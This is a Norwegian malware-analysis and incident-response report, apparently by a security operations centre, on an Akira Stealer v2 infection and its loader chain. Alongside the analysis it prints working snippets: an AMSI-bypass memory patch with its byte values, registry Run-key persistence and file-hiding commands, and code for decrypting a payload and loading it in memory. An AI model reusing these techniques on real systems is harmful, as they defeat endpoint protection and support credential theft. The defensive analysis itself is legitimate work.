Prolog

Det begynte som så mange moderne angrep gjør: stille. En Defender-alert med lav konfidens, "Suspicious sequence of exploration activities", dukket opp under onboardingen av en ny kunde i vårt glueckkanja Cyber Security Operations Center (CSOC).

Det var ingen signaturtreff. Ingen malware-klassifisering. Ingen respons fra sanntidsbeskyttelsen. Bare én enkelt atferdskorrelasjon i Microsoft 365 Defender, begravd i støyen, og likevel umiskjennelig gal.

Mens jeg triagerte alerten, var det én bestemt handling som fanget oppmerksomheten min: python.exe hadde åpnet både Login Data og Web Data i en Chromium-profil. Microsoft Defender eskalerte dette umiddelbart til en hendelse med høy alvorlighetsgrad, "Possible theft of passwords and other sensitive web browser information."

Dette var ingen falsk positiv. Det var toppen av noe dypere.

Da jeg sporet telemetrien bakover, fant jeg en generisk binary i oppstartsmappen, Updater.exe, som startet en NodeJS-basert wrapper (main.exe) som kjørte en kommandolinje for å starte et skript ved navn astor.py via python.exe.

Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py

Skriptet skrapet ikke bare credentials, det kjørte en sekvens med rekognoseringssteg etter kompromitteringen, blant annet registerspørringer, systemfingeravtrykk og rettighetsbevisst enumerering. Det arbeidet med kirurgisk presisjon og etterlignet systemets egen atferd for å unngå deteksjon. Og det virket, nesten.

Ved første respons var situasjonen slik:

• Updater.exe ble flagget av bare 1 av 69 motorer på VirusTotal.
• main.exe, astor.py og alle tilhørende komponenter ble praktisk talt ikke flagget på VirusTotal.
• Ingen filer var signert. Ingen forhøyet kontekst. Bare "vanlige" prosesser som gjorde svært uvanlige ting.

Updater.exe rørte ikke credentials. Den oppgaven var reservert for astor.py, Python-payloaden som kjørte i minnet, en fil som etter design nesten ikke etterlot spor.

I løpet av 21 minutter var det berørte systemet isolert fra nettverket. I løpet av 70 minutter var credentials rotert på tvers av alle berørte områder: interne identiteter, SaaS-plattformer, tredjepartstjenester.

Men det virkelige vendepunktet kom da vi hentet ut og dekrypterte Python-payloaden i sin helhet. Det vi fant, var ingen generisk stealer, det var en skreddersydd utrulling av Akira Stealer v2, en kommersielt distribuert malware-familie som selges via Telegram.

Takket være vår egen threat intelligence og reverse engineering-kompetanse kunne vi rekonstruere hele funksjonaliteten til denne malwaren, hente ut alle innebygde indikatorer og forstå logikken for staging, eksfiltrering og utvelgelse av credentials i detalj.

Enda viktigere: vi stoppet ikke ved teknisk attribusjon. Vi gikk lenger.

Vi kunne gi kunden et komplett datasett over eksfiltrerte credentials: over 100 unike kombinasjoner av brukernavn og passord, inkludert tilgang til skytjenester, CRM-systemer, interne plattformer og til og med personlige verktøy som nøkkelmedarbeidere brukte. Tyveriet hadde pågått i flere måneder, og vi kunne gjøre rede for alt sammen.

Med innsiktene fra denne saken bygde vi et analyseverktøy for tiden etter infeksjonen som skanner berørte systemer, rekonstruerer mønstrene for tilgang til credentials og genererer detaljerte forensiske rapporter, som viser nøyaktig hva som ble stjålet, når og hvorfra.

Vi gir deg et glimt av den skanneren mot slutten av rapporten.

For dette er mer enn bare en hendelse. Slik etterforsker vi. Slik beskytter vi.

Velkommen til glueckkanja CSOC.
Slik jobber vi, for innbrudd venter ikke.

1. Opprinnelig hendelse og oppsummert triage

Den 31. mars 2025 genererte Microsoft Defender for Endpoint en alert med etiketten "Suspicious sequence of exploration activities" på et Windows 10 64-bits endpoint. Jeg startet triagen ut fra dette signalet og gjennomgikk det berørte systemet ved hjelp av prosesstreet, systemets tidslinje og bevisene Defender hadde korrelert.

1.1 Tidslinjebasert triage

Alerten pekte på en sekvens av prosesser som fortjente nærmere inspeksjon. I den første gjennomgangen observerte jeg følgende tilgangsmønstre til Chrome-nettleserdata i den lokale brukerprofilen:

• %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
• %LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data

Disse tilgangene ble initiert av en prosess ved navn Updater.exe. Selv om Microsoft Defender ikke hadde flagget denne binaryen ut fra heuristisk eller atferdsbasert analyse, fant jeg en deteksjon for Updater.exe på VirusTotal, flagget av én enkelt motor på det tidspunktet.

Hele den observerte kjøringskjeden så slik ut:

winlogon.exe
└── userinit.exe
    └── explorer.exe
        └── Updater.exe
            └── main.exe
                └── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
                    └── python.exe Crypto\Util\astor.py

På dette stadiet var det ikke gjort noen dypere statisk eller dynamisk analyse av filene som var involvert. Fokuset mitt lå på å forstå atferden og konteksten på overordnet nivå. Prosessnavnene og filstiene var generiske, og det fantes ingen mistenkelige kommandolinjeargumenter utover den kjedede Python-kjøringen.

1.2 Første respons

I løpet av 21 minutter etter den første alerten satte jeg i gang isolering av verten med isoleringsfunksjonene i Defender for Endpoint. Målet var å hindre videre spredning eller eksfiltrering.

I løpet av de første 70 minuttene gikk vi videre med å rotere de credentials vi visste ble brukt på den berørte verten, noe som dekket interne systemer, SaaS-plattformer og kritiske tredjepartsleverandører.

Reverse engineering-arbeidet startet etter den første inneslutningen. De følgende avsnittene dokumenterer den tekniske dybdeanalysen som fulgte for å etterforske innbruddet.

1.3 Oppsummert respons: rask, transparent, effektdrevet

Responsen vår kombinerte tempo, fagkunnskap og operativ gjennomføring, understøttet av innarbeidede arbeidsflyter og full innsikt for kunden.

• Fra deteksjon til full inneslutning på under 90 minutter Defender-alerter, nettverksisolering, antivirusskanning og tilbakekalling av credentials ble utført raskt og samordnet.
• Forensisk dybderespons innen 48 timer Inkludert full disk- og minneanalyse, gjennomgang av nettleserartefakter, deteksjon av credential dumping og atferdsmessig rekonstruksjon av angriperens aktivitet.
• Sikker datagjenoppretting og bevishåndtering De stjålne dataene, blant annet cookies, passord, tokens og nettleserprofiler, ble gjenopprettet, forensisk arkivert og overlevert sikkert til kunden.
• Full innsikt og kommunikasjon hele veien Hvert steg, fra første alert til utbedring og debrief, ble dokumentert i sin helhet, delt i sanntid og oppsummert i en strukturert CSIRT-overlevering.

Denne hendelsen viser hvordan glueckkanja CSOC ikke bare stopper malware, vi demonterer virkningene av den, gir kundene våre kontrollen tilbake og gjør hver hendelse om til innsikt.

2. Malware-arkitektur og oversikt over kjøringskjeden

Malwaren som ble observert på det berørte endpointet, fulgte en strukturert flertrinnsarkitektur med tydelig ansvarsdeling: utrulling, dekoding, kjøring og dataeksfiltrering.

2.1 Oversikt over kjøringskjeden

Den observerte kjøringsflyten så slik ut:

Updater.exe

​   └── main.exe
​       └── cmd.exe
​           └── python.exe astor.py

Hver komponent i kjeden bidro til skjulthet, modularitet og unnvikelse. Arkitekturen utnyttet legitime runtimes og standardtolkere i operativsystemet for å omgå deteksjonsmekanismer.

2.1.1 Usikkert opphav: manglende initial vektor

Til tross for omfattende analyse av miljøet etter kompromitteringen lot den initiale tilgangsvektoren seg ikke fastslå med sikkerhet. Usikkerheten skyldes først og fremst at malwaren hadde vært aktiv i anslagsvis seks måneder før den ble oppdaget, altså lenger enn loggoppbevaringstiden Microsoft Defender for Endpoint håndhever.

Dermed fantes det verken telemetri eller forensiske artefakter fra det opprinnelige infeksjonstidspunktet. Ingen opprinnelige prosessopprettelseshendelser, fildropp eller kommandolinjeoppføringer knyttet til leveransefasen lot seg gjenopprette fra Defenders tidslinje eller tilhørende sensorer.

Ut fra kontekstuelle indikatorer og OSINT-kilder kan en sannsynlig infeksjonsvektor ha involvert:

• Trojaniserte installasjonsprogrammer for cracket eller moddet spillprogramvare
• Falske verktøy eller "ytelsesboostere" distribuert via forum og tredjepartssider
• Skadelige nettleserutvidelser rettet mot bestemte brukerinteresser (for eksempel kryptorelaterte verktøy eller Discord-utvidelser)

Dette er imidlertid fortsatt spekulasjon.

Ingen bekreftet dropper, phishing-e-post eller kompromittert nettside lot seg identifisere i etterforskningen. Selv om malware-arkitekturen og kjøringskjeden ble rekonstruert i sin helhet, lot det initiale kompromitteringspunktet (MITRE ATT&CK T1190 / T1566) seg ikke validere.

2.1.2 Updater.exe - Initial loader

Da jeg gikk gjennom prosesstreet i Microsoft 365 Defender, stakk Updater.exe seg umiddelbart ut, ikke på grunn av hva den gjorde, men hvor stille den plasserte seg i systemets kjøringsflyt.

Denne binaryen var registrert for automatisk kjøring via standard Run-nøkkelen i Windows:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Det betydde at den ble startet hver gang brukeren logget inn i sesjonen sin, en klassisk persistensmekanisme som ikke krever forhøyede rettigheter og ofte slipper ubemerket gjennom i EDR-telemetri.

• Filtype: Windows PE-kjørbar fil (32-bit)
• Signatur: Usignert
• VirusTotal-deteksjon: 1 av 69 motorer på triagetidspunktet
• Kjøringskontekst: Medium integritet, brukersesjon
• Plassering: AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\

Selve filen var liten, rent kompilert og uinteressant sett fra statisk analyse. Ingen mistenkelige strenger, ingen krypterte seksjoner og ingen indikasjoner på obfuskering eller packing. Den importerte bare et minimalt sett med standard Windows API-funksjoner og inneholdt ingen innebygd payload.

Atferden var langt mer talende. Så snart den var startet, pakket Updater.exe ut en Electron-applikasjon fra et medfølgende arkiv, en selvstendig NodeJS-runtime pakket med standard Electron-verktøy. Den utpakkede mappen inneholdt en kjørbar fil ved navn main.exe, som deretter ble startet som underprosess.

Updater.exe → main.exe

Det fantes ingen nettverksindikatorer på dette stadiet, ingen prosessinjeksjon og ingen avvik i rettigheter eller token-heving. Hele rollen til Updater.exe så ut til å være en loader, som leverte en andretrinnskomponent (main.exe) inn i miljøet, sannsynligvis for å bevare skjulthet og modularitet.

Denne typen arkitektonisk oppdeling er vanlig i moderne hyllevare-malware og stealer-verktøysett. Den initiale loaderen fungerer bare som en utrullingsstubbe, slik at den tyngre logikken, ofte obfuskert, tolket eller dynamisk generert, kan ligge i senere trinn.

I dette tilfellet fylte Updater.exe nøyaktig den funksjonen: et stille første fotfeste utformet for å gli inn, forbli uoppdaget og bane vei for kjøringen av den egentlige stealer-logikken i main.exe og til slutt astor.py.

Den rørte ikke filsystemet utover sin egen katalog og utløste ingen atferdsregler, og likevel var den den første brikken som falt i en lang og nøye konstruert angrepskjede.

2.1.3 main.exe - Obfuskert NodeJS-payloadbeholder

Etter at Updater.exe hadde kjørt, ble en andretrinnsbinary ved navn main.exe startet. Denne komponenten presenterte seg som en helt vanlig Electron-applikasjon, et runtime-miljø som pakker Node.js og Chromium sammen og ofte brukes til plattformuavhengige skrivebordsapper. Nettopp denne uskyldige fasaden er en del av det som gjør den så farlig i feil hender.

Ved inspeksjon viste main.exe seg å inneholde et internt arkiv ved navn app.asar, standardformatet for pakking av Electron-baserte applikasjoner. Til forskjell fra legitime Electron-apper var innholdet i dette arkivet alt annet enn vanlig.

• Plattform: Electron (Node.js + Chromium)
• Arkitektur: 64-bits Windows
• Innholdsstruktur: Innebygde JavaScript-filer i app.asar
• Obfuskeringsnivå: Høyt, oppnådd med js-confuser, et kommersielt tilgjengelig obfuskeringsverktøysett for JavaScript

Da den var dekompilert og deobfuskert, ble kjernelogikken i main.exe tydelig. Formålet var ikke å vise et GUI eller kjøre frontend-logikk, den fungerte i stedet som en skjult kjøringsorkestrator.

Observert atferd:

• Dekrypterer og rekonstruerer en Base64-kodet PowerShell-kommando som ligger lagret i JavaScript-payloaden
• Starter cmd.exe for å kjøre PowerShell-kommandoen inline
• PowerShell-kommandoen kaller i sin tur python.exe og sender med et skript som ligger under en tilsynelatende harmløs katalogstruktur (Crypto\Util\astor.py)

main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py

Denne kjedingen lot angriperen bytte kjøringskontekst og unngå enkel deteksjon. Siden payloaden var obfuskert og stagede i minnet, var tradisjonelle signaturbaserte kontroller virkningsløse.

Electron-rammeverket ga et ideelt dekke, det tillot kjøring av vilkårlig JavaScript og unngikk samtidig nærmere granskning. JavaScript-basert kjøring ga også plattformuavhengighet, noe som muliggjorde fleksibel utrulling og enklere integrasjon av dynamisk styringslogikk.

Det som gjorde main.exe særlig farlig, var at den kunne arbeide uten å droppe flere filer enn de som allerede var stagede. Stealer-skriptet ble kalt direkte fra disk, men all staging- og kjøringslogikk lå innebygd i Electron-bundlen.

Kort sagt fungerte main.exe som den obfuskerte kjøringskjernen i flere lag, som portvakt mellom initial persistens og full aktivering av Akira Stealer-payloaden i astor.py.

2.1.4 cmd.exe og PowerShell-relé

Dette trinnet i kjøringskjeden fungerte som et relé, ikke for payload-logikk, men for obfuskering og indirekte kjøring.

Etter at main.exe hadde gjort jobben sin med å pakke ut og dekode payloaden, startet den en cmd.exe-prosess. Denne prosessen inneholdt ingen skadelig logikk i seg selv, og den verken skrev eller endret filer. Eneste formål var å være en wrapper for å starte en PowerShell-sesjon med en kodet kommando.

Metoden er en velkjent taktikk for å redusere synlighet og unngå deteksjon:

• Kjøringskjede:

  main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>"
  

• Formål:
  • Kapsler inn PowerShell-kjøringen i enda et skall
  • Skjuler den faktiske PowerShell-koden fra direkte innsyn i logger
  • Unngår EDR-er som utløses av direkte bruk av powershell.exe med mistenkelige parametere

Ved å legge PowerShell-skriptet inn som en Base64-kodet streng og kalle det via cmd.exe unngikk angriperen flere former for deteksjon:

• Heuristiske filtre for kommandolinjer
• Standard logging (for eksempel Event ID 4104, 4688)
• Regelbaserte deteksjoner for powershell.exe-argumenter som -NoProfile, -ExecutionPolicy Bypass eller inline-skript

Verdt å merke seg er at PowerShell-kommandoen ble holdt minimal og utelukkende rettet mot å starte python.exe med en sti til det innebygde stealer-skriptet, astor.py. Ingen ekstra moduler ble lastet, og ingen åpenbare signaturer lå i minnet.

Denne reléteknikken brukes ofte både i red teaming og av avanserte infostealere, som et lettvekts unnvikelseslag som er enkelt å implementere, men vanskelig å fange opp uten telemetrikorrelasjon.

I dette tilfellet fylte cmd.exe nøyaktig den funksjonen: en enkel, stille bro mellom JavaScript-logikk og Python-kjøring, en som nesten gled ubemerket gjennom.

2.1.5 python.exe med astor.py

Det siste og mest virkningsfulle trinnet i kjøringskjeden ble nådd da python.exe kalte astor.py, en Python-basert, modulær infostealer som utelukkende arbeider i minnet. Dette skriptet utgjorde den operative kjernen i hele angrepskjeden.

Til forskjell fra mange hyllevare-stealere ble ikke astor.py lagt ut i klartekst. Det var beskyttet av en dekrypteringsmekanisme i flere lag:

• Dekrypteringsstack: Filen ble først GZIP-komprimert og deretter kryptert med AES-256-CBC.
• Nøkkelderivering: En PBKDF2-basert nøkkelderivering ble brukt (SHA-512, 1 000 000 iterasjoner), noe som gjør statisk analyse og brute force svært upraktisk.

Da skriptet var dekryptert ved kjøring, kjørte det flere spesialiserte moduler, alle rettet mot sensitive datakilder:

Kjernefunksjoner

• Uthenting av nettleserdata: Hentet påloggingsopplysninger, cookies og autofyll-data fra Chromium-baserte nettlesere (Chrome, Edge, Brave, Opera)
• Innsamling av tokens: Samlet inn sesjonstokens, særlig fra Discord, og lette etter utvidelser for kryptovaluta-lommebøker
• Datapakking: Samlet alle innsamlede data i et strukturert ZIP-arkiv og bevarte katalog- og filkontekst for angriperens videre bearbeiding
• Eksfiltrering: Lastet opp det ferdige arkivet til offentlige API-er og infrastruktur.

Kjøringskontekst

Hele stealer-logikken kjørte fra minnet, uten at noen varige filer ble skrevet til disk. Den etterlot minimale telemetrispor utover artefakter i prosessminnet og helt vanlige kall til underprosesser. Det ble ikke gjort noe forsøk på å etablere persistens på dette trinnet, målet var raskt, effektivt og stille datatyveri.

Bruken av legitime API-er til eksfiltrering gjorde også deteksjon og forebygging langt vanskeligere, siden den utgående trafikken gled inn i vanlig internettaktivitet.

Dette trinnet bekreftet til slutt identiteten til malwaren: en variant av Akira Stealer v2, kjent for:

• Høy modularitet
• Obfuskering ved kjøring
• Kommersiell distribusjon via Telegram
• Sterkt fokus på innsamling av credentials og tokenbasert sesjonskapring

Sammen med de tidligere trinnene dannet astor.py det kritiske endepunktet i en stillegående og godt konstruert infostealer-kjede. I de følgende avsnittene dissekerer vi denne komponenten videre og forklarer hvordan vi reverserte logikken, kartla infrastrukturen og gjenopprettet hver eneste kompromitteringsindikator som ble brukt i driften av den.

3. Deep Dive: Updater.exe

Updater.exe var den første binaryen vi observerte i analysen etter kompromitteringen. Til tross for det nøytrale utseendet og det nesten usynlige deteksjonsavtrykket spilte den en avgjørende rolle i å opprettholde malwarens operative persistens og levere payloaden til neste trinn.

3.1 Egenskaper

Filen hadde en ren importtabell og ingen innebygde strengindikatorer. Ingen kjente packere, cryptere eller mekanismer for obfuskering ved kjøring ble oppdaget. Strukturen stemte med egenkompilerte binaries.

3.2 Atferdsanalyse

Ingen brukerinteraksjon nødvendig

Malware-kjeden kjørte uten at noen brukerinteraksjon var nødvendig. Ut fra prosesstelemetrien i Defender ble den første binaryen (Updater.exe) startet automatisk, sannsynligvis via en persistensmekanisme som en autorun-nøkkel i registeret. På grunn av kompromitteringens alder og fraværet av historiske hendelseslogger lot den eksakte persistensmetoden seg likevel ikke gjenopprette.

Stille kjøring og staging

Ved kjøring startet Updater.exe umiddelbart main.exe uten synlig vindu og uten dialoger til brukeren. Stagingen skjedde stille i bakgrunnen. Det fantes ingen spor av samtykkedialoger, UAC-forespørsler eller GUI-komponenter.

Atferd ved utrulling av payload

main.exe viste seg å være del av en Electron-applikasjonsstruktur, men nøyaktig hvor utrullingen kom fra, er fortsatt uklart. Ett av følgende antas:

• Payloaden kan ha ligget innebygd i Updater.exe (for eksempel som en innebygd ressurs), eller
• den kan ha blitt hentet fra en ekstern kilde

Uten nettverkstelemetri og uten noen gjenfunnet hardkodet URL forblir leveransevektoren for Electron-appen uavklart.

Atferd i prosesskjeden

Så snart den kjørte, opprettet Updater.exe main.exe som underprosess. Kallet var ikke-interaktivt, og ingen prosess i kjeden viste UI-aktivitet. Prosesskjeden fortsatte som forventet:

Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py

Alle kjøringstrinn fungerte uten å kreve inndata fra brukeren, og bygde utelukkende på forhåndskonfigurert oppstartslogikk og stille kjøringsstier. Det holdt eksponeringen nede og hjalp malwaren med å forbli uoppdaget over lang tid.

3.3 Rolle i infeksjonskjeden

Updater.exe hadde én enkelt, men helt nødvendig rolle i den større infeksjonskjeden: den sto for persistensen og gjenutrullingen av stage 2-komponenten main.exe.

Bekreftede kjennetegn

• Den inneholdt eller kjørte ikke skadelig logikk direkte
• Den utførte ingen dataeksfiltrering
• Den samhandlet ikke med nettleserens credential stores eller sensitive brukerdata

Eneste formål var å starte main.exe stille ved brukerpålogging, med en autorun-oppføring i registeret som den mest sannsynlige persistensmetoden (selv om den ikke lot seg gjenopprette direkte på grunn av begrensninger i telemetrien).

Ved å opptre som en isolert first stage-loader sørget Updater.exe for at selve stealer-payloaden (astor.py) forble skjult i dypere kjøringslag. Denne arbeidsdelingen lot angriperne:

• Unngå korrelasjon fra statiske AV- eller sandbox-systemer
• Bytte ut eller oppdatere payloads uten å endre loaderen
• Redusere atferdssignalene ved inngangspunktet

Mønsteret er typisk for malware-as-a-service (MaaS)-operasjoner, der leveransemekanismene er generiske og payloadene modulære eller kundespesifikke.

I dette tilfellet ga Updater.exe akkurat nok logikk til å fungere som et pålitelig og stillegående inngangspunkt: ikke mer, men heller ikke mindre.

3.4 Persistens via registeret (bekreftet i astor.py)

Statisk analyse av Python-payloaden viste at Updater.exe gjøres persistent gjennom en eksplisitt autorun-oppføring i registeret:

• Registry Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Value Name: Realtek Audio
• Payload Path: %APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Den tilhørende registerkommandoen kjøres via PowerShell:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f

Dette sikrer at malwaren startes ved hver brukerpålogging. Filen merkes i tillegg med attributtene hidden og system for å unngå deteksjon ytterligere:

attrib +h +s "Updater.exe"

Denne persistensmekanismen lå innebygd direkte i astor.py-koden, noe som bekrefter at stealeren i siste trinn aktivt holder loaderen på plass både på disk og i oppstartsregisteret.

3.5 Oppsummering

Selv om Updater.exe ikke var skadelig i seg selv, verken i struktur eller innhold, bekreftet atferden i kjøringskjeden rollen som malware loader.

Denne binaryen fungerte som en ren, minimalistisk first stage-launcher som unngikk deteksjon fra statisk analyse, AV-motorer og atferdsregler. Designet handlet utelukkende om skjulthet og operativ støtte, ikke om å kjøre skadelig logikk selv.

Rollen strakte seg likevel lenger enn den første utrullingen. Under reverse engineering av astor.py-payloaden fant vi logikk som aktivt sjekket om Updater.exe var til stede. Denne sjekken var del av en større health- og self-healing-syklus implementert i stealer-koden, en mekanisme som skulle verifisere integriteten i infeksjonskjeden og gjenopprette manglende komponenter ved behov.

Det betyr at Updater.exe ikke bare hadde ansvaret for å starte malwaren, men også inngikk i dens løpende runtime-validering. Uten denne stubben kunne malwaren miste evnen til å initialisere seg på nytt i senere sesjoner.

Sentrale funksjoner i Updater.exe:

• Friksjonsfri utrulling av main.exe
• Indirekte kjøring av astor.py
• Frikobling av loader- og payload-logikk
• Referert av payloaden selv som del av den operative health-overvåkingen

I avsnitt 5 går vi gjennom stealerens interne health check-rutiner i detalj, inkludert self-healing-atferden og mekanismene for integritetsvalidering.

Foreløpig er det klart at Updater.exe fungerte som både tenning og ankerpunkt i denne lagdelte infostealer-arkitekturen.

3.6 Ekstraksjonstriks: å overliste loaderen

Noen ganger kommer de beste resultatene innen reverse engineering ikke fra dyp disassemblering av binaries, men fra litt list og tålmodighet.

Mens vi analyserte infeksjonen i et kontrollert labmiljø, la vi merke til noe rart: Updater.exe var til stede og kjørte, men main.exe var borte fra filsystemet. Da fikk vi en idé: hva skjer om vi lar malwaren reparere seg selv?

Vi slettet main.exe med vilje fra det infiserte miljøet og lot Updater.exe være i fred. Og ganske riktig, etter neste pålogging gikk loaderen i gang, ikke med bråk, men med et stille forsøk på å bygge opp igjen sitt andre trinn.

Her ble det interessant: i stedet for å gjenskape main.exe direkte droppet Updater.exe først en fil ved navn app-64.7z, et helt vanlig 7-Zip-arkiv. Dette arkivet inneholdt hele Electron-applikasjonsstrukturen, inkludert main.exe, resources og app.asar-payloaden med all innebygd logikk.

Vi hadde i praksis tvunget malwaren til å levere oss kildepakken.

Med dette 7z-arkivet i hånd kunne vi pakke ut, dekomprimere og reversere hele den JavaScript-baserte orkestreringslogikken uten å røre den opprinnelige loaderen igjen. Arkivstrukturen stemte perfekt med den forventede Electron-app-layouten.

Denne atferden tyder sterkt på at angriperne bevisst valgte en modulær og vedlikeholdbar arkitektur, der arkiver brukes som fleksible payload-beholdere. Det lot dem også bytte ut eller oppdatere payload-komponenter uten å kompilere loader-binaryen på nytt.

Og i vårt tilfelle? Det lot oss overliste kjeden deres, fange opp droppen og gå derfra med hele pakken, omtrent som å stjele tegningene fra arbeidsbenken mens byggmesteren ser en annen vei.

La oss si det slik: noen ganger er de beste forensiske verktøyene del, wait og litt nysgjerrighet.

4. Deep Dive: pow.bat

I malware-kampanjen vi analyserte, fungerer komponenten Invoke-SharpLoader som en egenutviklet, minneresident .NET-loader med en svært modulær og unnvikende kjøringsflyt. Dette avsnittet dissekerer den interne arkitekturen, anti-analysestrategien via AMSI-patching og rollen den spiller i å legge til rette for payloaden i andre trinn.

4.1 Binaryegenskaper - SharpLoader Batch Wrapper

Før den kjøres for å laste .NET-payloaden i minnet, har den ytre wrapperen pow.bat følgende kjennetegn ifølge statisk analyse:

Selv om det bare er en .bat-fil, unngår skriptet mange statiske deteksjoner og lener seg tungt på living-off-the-land-teknikker som PowerShell for å laste ned og kjøre obfuskerte og krypterte payloads.

4.2 AMSI Bypass-teknikk (klasse: gofor4msi)

En av de første forsvarsmekanismene SharpLoader omgår, er AMSI, Anti-Malware Scan Interface, en Microsoft-funksjon integrert i skriptmotorer som PowerShell og Windows Script Host for å skanne innhold i sanntid etter mistenkelig atferd. Malware-utviklere forsøker ofte å omgå AMSI for å unngå deteksjon fra endpoint-beskyttelse.

I SharpLoader implementeres AMSI-bypassen gjennom direkte in-memory-patching av funksjonen AmsiScanBuffer i amsi.dll. Denne funksjonen har normalt ansvaret for å analysere skriptinnhold og returnere en resultatkode som sier om innholdet er mistenkelig (AMSI_RESULT_DETECTED) eller trygt (AMSI_RESULT_CLEAN).

Den aktuelle koden for in-memory-patching er:

var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);

Sekvensen utfører følgende steg:

1. Last AMSI-DLL-en inn i prosessen med LoadLibrary("amsi.dll").
2. Slå opp minneadressen til funksjonen AmsiScanBuffer via GetProcAddress().
3. Endre minnebeskyttelsen for adressen med VirtualProtect() slik at den blir skrivbar.
4. Overskriv starten av funksjonen med Marshal.Copy() og en liten shellcode-patch.

Patchen som brukes på 64-bits systemer, er:

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret

Dette tilsvarer følgende instruksjoner:

• mov eax, 0x80070057 → setter returkoden til Windows-feilkoden E_INVALIDARG
• ret → returnerer umiddelbart fra funksjonen

I praksis gjør dette at AmsiScanBuffer feiler stille og returnerer et ikke-deteksjonsresultat, slik at AMSI-sjekkene nøytraliseres. Malwaren kan nå kjøre skript eller .NET-kode som ellers ville utløst antivirusvarsler.

Kjøres koden på et 32-bits system, brukes en annen patch:

static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18

Den har samme mål, å tvinge frem et rent resultat, men er tilpasset x86-kallkonvensjonen.

Bruk av rå P/Invoke-kall som LoadLibrary, GetProcAddress og VirtualProtect gjør at patchingen kan skje dynamisk og uten å kalle høynivå-API-er som EDR-verktøy kan overvåke. Metoden er kompakt, effektiv og etterlater minimalt med forensiske artefakter.

Kort sagt er denne AMSI-bypass-teknikken et lavnivåangrep rettet direkte mot antivirusgrensesnittet i minnet, gjennomført på millisekunder under kjøring. Det er et slående eksempel på hvorfor atferdsovervåking og minneinspeksjon er avgjørende i moderne endpoint-forsvar.

4.3 Håndtering av stage 2-payloaden

Når AMSI-bypassen er ferdig, går loaderen videre med å hente og klargjøre payloaden i andre trinn. Denne payloaden ligger ikke innebygd i loaderen selv, men hentes enten fra en ekstern server eller leses fra disk, avhengig av hvordan loaderen kalles via parameteren $location.

Begynner plasseringen med http, tolkes den som en URL, og loaderen bruker Get_Stage2() til å laste ned payloaden via HttpWebRequest. Er det en lokal sti, leser Get_Stage2disk() innholdet direkte fra filsystemet. I begge tilfeller er det forventede filinnholdet en blob som er Base64-kodet, GZip-komprimert og AES-kryptert.

Loaderen kjører deretter en firetrinns pipeline for dekoding og dekryptering, i sin helhet i minnet:

1. Base64-dekoding: Gjør den kodede strengen om til rå bytes. Steget skal skjule det faktiske binærinnholdet for verktøy som gjør statisk inspeksjon, og hindrer enkel mønstergjenkjenning.
2. GZip-dekomprimering: De dekodede bytene sendes til en GZipStream, som pakker ut payloaden. Komprimeringen reduserer filstørrelsen og legger til enda et obfuskeringslag.
3. AES-dekryptering: De komprimerte bytene dekrypteres med AES (Rijndael) i CBC-modus. Nøkkelen utledes ved kjøring fra passordet brukeren oppgir, via SHA-256-hashing kombinert med PBKDF2 (Rfc2898DeriveBytes) og et statisk salt.
4. Fjerning av salt: Det dekrypterte resultatet inneholder fortsatt et salt-prefiks med fast lengde (4 bytes). Disse bytene fjernes manuelt for å få den rene binære bloben som utgjør en gyldig .NET-assembly.

Dekrypteringspipelinen kjøres slik:

byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));
byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);

Her er AES_Decrypt() en egenskrevet funksjon som pakker inn Rijndael-algoritmen, konfigurert med en 256-bits nøkkel og en 128-bits IV (initialiseringsvektor), begge utledet fra passordet.

Sentrale designobservasjoner:

• Bruken av AES-CBC med PBKDF2 gjør det ikke-trivielt å brute force passordet.
• Siden dekrypteringen skjer i minnet, skrives aldri mellomresultater til disk, noe som reduserer de forensiske artefaktene.
• Oppgis feil passord, feiler dekrypteringen stille eller produserer ugyldige data, noe som kan gi mislykket kjøring eller unntak som er vanskelige å spore.

Kort sagt hever denne flertrinnshåndteringen av payloaden lista betraktelig for både signatur- og heuristikkbasert statisk deteksjon. Uten enten live kjøring eller grundig inspeksjon av loaderens atferd er det lite sannsynlig at forsvarere avdekker den innebygde payloaden uten også å kjenne passordet og den eksakte dekodingslogikken.

4.4 Dynamisk lasting av assembly

Når payloaden i andre trinn er dekryptert, utgjør byte-arrayen som kommer ut, en gyldig .NET-assembly. I stedet for å skrive denne assemblyen til disk, en velkjent indikator for antivirus- og EDR-systemer, kjører SharpLoader den direkte i minnet med reflection:

Assembly a = Assembly.Load(bin);
a.EntryPoint.Invoke(null, new object[] { commands });

Teknikken kalles fileless execution. Den er svært unnvikende fordi den:

• Unngår å røre disken og etterlater ingen filbaserte IOC-er (indicators of compromise)
• Gjør tradisjonell forensisk innsamling vanskeligere, siden ingen binary lagres på disk
• Unngår statisk signaturbasert deteksjon, siden AV-motorer ofte bygger på å skanne filer

Er ikke EntryPoint static, har loaderen en fallback-logikk:

MethodInfo method = a.EntryPoint;
if (method != null)
{
    object o = a.CreateInstance(method.Name);
    method.Invoke(o, null);
}

Det sikrer kompatibilitet med assemblies som krever et instansiert objekt for å kunne kjøre (for eksempel public int Main() inne i en klasseinstans). Koden oppretter dynamisk en instans av klassen og kaller deretter entry point-metoden.

Kombinert med AMSI-bypassen og in-memory-dekrypteringen leverer denne mekanismen den endelige payloaden til kjøring på en stillegående, helt filløs måte, et kjennetegn på moderne, unnvikende malware.

